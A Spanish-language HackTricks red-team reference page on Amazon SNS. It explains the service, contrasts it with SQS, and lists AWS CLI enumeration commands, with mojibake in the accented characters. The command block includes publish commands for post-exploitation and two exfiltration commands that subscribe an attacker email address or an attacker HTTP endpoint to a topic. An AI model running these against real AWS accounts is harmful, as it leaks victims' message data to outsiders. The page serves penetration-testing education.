AWS - SNS Enum

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) se describe como un servicio de mensajer铆a completamente gestionado. Soporta tanto tipos de comunicaci贸n de aplicaci贸n a aplicaci贸n (A2A) como de aplicaci贸n a persona (A2P).

Las caracter铆sticas clave para la comunicaci贸n A2A incluyen mecanismos de publicaci贸n/suscripci贸n (pub/sub). Estos mecanismos introducen temas, cruciales para habilitar mensajer铆a basada en push, de alto rendimiento y de muchos a muchos. Esta caracter铆stica es altamente ventajosa en escenarios que involucran sistemas distribuidos, microservicios y arquitecturas sin servidor impulsadas por eventos. Al aprovechar estos temas, los sistemas publicadores pueden distribuir mensajes de manera eficiente a una amplia gama de sistemas suscriptores, facilitando un patr贸n de mensajer铆a de fanout.

Diferencia con SQS

SQS es un servicio basado en colas que permite la comunicaci贸n punto a punto, asegurando que los mensajes sean procesados por un 煤nico consumidor. Ofrece entrega al menos una vez, soporta colas est谩ndar y FIFO, y permite la retenci贸n de mensajes para reintentos y procesamiento retrasado.
Por otro lado, SNS es un servicio basado en publicaci贸n/suscripci贸n, que permite la comunicaci贸n de uno a muchos al transmitir mensajes a m煤ltiples suscriptores simult谩neamente. Soporta varios puntos de suscripci贸n como correo electr贸nico, SMS, funciones Lambda y HTTP/HTTPS, y proporciona mecanismos de filtrado para la entrega de mensajes dirigida.
Mientras que ambos servicios permiten desacoplar componentes en sistemas distribuidos, SQS se centra en la comunicaci贸n en cola, y SNS enfatiza patrones de comunicaci贸n impulsados por eventos y de fan-out.

Enumeraci贸n

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Caution

Tenga en cuenta que si el tema es de tipo FIFO, solo se pueden usar suscriptores que utilicen el protocolo SQS (no se puede usar HTTP o HTTPS).

Adem谩s, incluso si el --topic-arn contiene la regi贸n, aseg煤rese de especificar la regi贸n correcta en --region o recibir谩 un error que indica que no tiene acceso, pero el problema es la regi贸n.

Acceso No Autenticado

AWS - SNS Unauthenticated Enum

Escalaci贸n de Privilegios

AWS - SNS Privesc

Post Explotaci贸n

AWS - SNS Post Exploitation

Persistencia

AWS - SNS Persistence

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks